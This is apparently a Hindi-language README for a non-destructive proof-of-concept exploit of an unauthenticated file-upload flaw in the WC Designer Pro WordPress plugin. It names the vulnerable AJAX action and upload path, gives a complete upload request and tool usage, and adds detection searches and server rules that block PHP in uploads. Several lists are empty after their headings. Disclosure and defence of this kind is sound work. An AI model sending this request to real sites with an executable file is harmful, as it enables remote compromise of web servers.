
WC Designer Pro WordPress प्लगइन को प्रभावित करने वाली बिना प्रमाणीकरण के मनमानी फ़ाइल-अपलोड भेद्यता के लिए एक गैर-विनाशकारी प्रूफ ऑफ कॉन्सेप्ट।
WC Designer Pro में WordPress के admin-ajax.php एंडपॉइंट के माध्यम से उजागर एक AJAX एक्शन में बिना प्रमाणीकरण के मनमानी फ़ाइल-अपलोड भेद्यता मौजूद है।
प्रभावित हैंडलर पर्याप्त प्रमाणीकरण, प्राधिकरण, एक्सटेंशन सत्यापन, MIME-प्रकार सत्यापन, या सर्वर-साइड फ़ाइलनाम प्रतिबंध लागू किए बिना उपयोगकर्ता-नियंत्रित फ़ाइल मेटाडेटा और फ़ाइल सामग्री को संसाधित करता है।
कमजोर कॉन्फ़िगरेशन में, एक बिना प्रमाणीकरण वाला हमलावर वेब-सुलभ निर्देशिका में सर्वर-निष्पादन योग्य फ़ाइल अपलोड करने में सक्षम हो सकता है। सफल शोषण के परिणामस्वरूप वेब सर्वर प्रक्रिया के विशेषाधिकारों के अंतर्गत रिमोट कोड निष्पादन हो सकता है।
सटीक प्रभावित संस्करण सीमा, CVE पहचानकर्ता और CVSS स्कोर केवल स्वतंत्र रूप से सत्यापित होने के बाद ही प्रकाशित किए जाने चाहिए।
सफल शोषण एक बिना प्रमाणीकरण वाले हमलावर को निम्न की अनुमति दे सकता है:
अंतिम प्रभाव वेब सर्वर कॉन्फ़िगरेशन, PHP निष्पादन नियमों, फाइलसिस्टम अनुमतियों और होस्टिंग प्रदाता द्वारा तैनात सुरक्षा नियंत्रणों पर निर्भर करता है।
प्रभावित संस्करण सीमा वर्तमान में सत्यापित की जा रही है।
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
जब तक परीक्षण या विक्रेता की पुष्टि उस निष्कर्ष का समर्थन नहीं करती, यह न बताएँ कि हर संस्करण प्रभावित है।
कमजोर अपलोड प्रवाह निम्नलिखित AJAX एक्शन को आपूर्ति किए गए हमलावर-नियंत्रित मानों पर भरोसा करता हुआ प्रतीत होता है:
wcdp_save_canvas_design_ajax
अनुरोध में निम्नलिखित फ़ाइल मेटाडेटा होता है:
भेद्यता तब मौजूद होती है जब सर्वर निम्नलिखित सभी नियंत्रणों को निष्पादित किए बिना इन मानों को स्वीकार करता है:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
अवलोकित अपलोड पथ इस संरचना का अनुसरण करता है:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
सटीक पथ प्लगइन संस्करण, WordPress कॉन्फ़िगरेशन और सर्वर वातावरण के आधार पर भिन्न हो सकता है।
pipइस प्रूफ ऑफ कॉन्सेप्ट का उपयोग स्पष्ट लिखित प्राधिकरण के बिना तृतीय-पक्ष प्रणालियों के विरुद्ध नहीं किया जाना चाहिए।
रिपॉजिटरी क्लोन करें:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
वर्चुअल वातावरण बनाएँ और सक्रिय करें:
python3 -m venv .venv
source .venv/bin/activate
Windows पर:
python -m venv .venv
.venv\Scripts\Activate.ps1
निर्भरताएँ स्थापित करें:
pip install -r requirements.txt
उदाहरण requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
प्रूफ ऑफ कॉन्सेप्ट को केवल एक अधिकृत प्रयोगशाला लक्ष्य के विरुद्ध निष्पादित किया जाना चाहिए।
python3 exploit.py --url https://wordpress-lab.example
गैर-विनाशकारी सत्यापन के लिए:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
उदाहरण सत्यापन फ़ाइल:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
समर्थित तर्कों को देखने के लिए अंतर्निहित हेल्प कमांड का उपयोग करें:
python3 exploit.py --help
उदाहरण आउटपुट:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
अनुरोध निम्न का आह्वान करता है:
action=wcdp_save_canvas_design_ajax
नीचे एक सरलीकृत अनुरोध संरचना दिखाई गई है:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
यह उदाहरण जानबूझकर एक गैर-निष्पादन योग्य टेक्स्ट फ़ाइल का उपयोग करता है।
एक सफल अनुरोध निम्न के समान प्रतिक्रिया लौटा सकता है:
{
"userID": false,
"filesCMYK": [],
"success": true
}
अकेले एक सफल प्रतिक्रिया रिमोट कोड निष्पादन को सिद्ध नहीं करती। शोधकर्ता को अलग से पुष्टि करनी होगी कि:
अनुशंसित सत्यापन प्रक्रिया निम्न है:
.txt मार्कर फ़ाइल बनाएँ।जब भेद्यता प्रदर्शित करने के लिए एक हानिरहित मार्कर फ़ाइल पर्याप्त हो, तो वेब शेल या कमांड-निष्पादन पेलोड अपलोड करने से बचें।
एक मान्य रिपोर्ट में निम्न होना चाहिए:
प्रशासकों को निम्नलिखित निर्देशिका का निरीक्षण करना चाहिए:
/wp-content/uploads/wcdp-uploads/temp/
संभावित संकेतकों में निम्न शामिल हैं:
.php, .phtml, .phar, या समान निष्पादन योग्य फ़ाइलें।admin-ajax.php के लिए अनुरोध।उदाहरण लॉग खोज:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
उदाहरण फाइलसिस्टम खोज:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
साइट प्रशासकों को निम्न करना चाहिए:
Nginx के लिए, अपलोड के अंदर PHP निष्पादन अस्वीकार करें:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Apache के लिए, अपलोड निर्देशिका के अंदर एक उपयुक्त नियम रखें:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
ये नियंत्रण रक्षा-गहराई (defense-in-depth) उपाय हैं और कमजोर प्लगइन कोड को ठीक करने का विकल्प नहीं हैं।
प्लगइन अनुरक्षकों (maintainers) को निम्न करना चाहिए:
current_user_can() के साथ उपयोगकर्ता क्षमताओं को सत्यापित करें।wp_check_filetype_and_ext() का उपयोग करके फ़ाइलों को सत्यापित करें।यह रिपॉजिटरी विशेष रूप से निम्न के लिए अभिप्रेत है:
स्पष्ट प्राधिकरण के बिना इस कोड का उपयोग प्रणालियों तक पहुँचने, संशोधित करने, बाधित करने या समझौता करने के लिए न करें।
लेखक इस सामग्री के अनधिकृत, अवैध या दुरुपयोग के लिए ज़िम्मेदार नहीं है। उपयोगकर्ता लागू कानूनों, अनुबंधों, सहभागिता नियमों (rules of engagement) और समन्वित भेद्यता-प्रकटीकरण आवश्यकताओं का पालन करने के लिए पूर्ण रूप से ज़िम्मेदार हैं।
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
किसी प्लेसहोल्डर CVE को इस प्रकार प्रकाशित न करें मानो वह एक निर्धारित पहचानकर्ता हो।
जब कोई CVE निर्धारित हो, तो प्लेसहोल्डर को आधिकारिक रिकॉर्ड से बदलें:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
|
m2hcz आक्रामक सुरक्षा शोधकर्ता GitHub · पोर्टफोलियो |
सुरक्षा अनुसंधान को जोखिम कम करना चाहिए, उसे पैदा नहीं करना चाहिए।
अधिकृत सुरक्षा परीक्षण के लिए m2hcz द्वारा निर्मित।
| गुण | मान |
|---|
| उत्पाद | WC Designer Pro |
| प्लेटफ़ॉर्म | WordPress |
| भेद्यता वर्ग | अप्रतिबंधित मनमानी फ़ाइल अपलोड |
| CWE | CWE-434 |
| प्रमाणीकरण आवश्यक | नहीं |
| उपयोगकर्ता सहभागिता आवश्यक | नहीं |
| संभावित प्रभाव | रिमोट कोड निष्पादन |
| हमले की जटिलता | कम |
| कमजोर घटक | WordPress AJAX अपलोड हैंडलर |
| AJAX एक्शन | wcdp_save_canvas_design_ajax |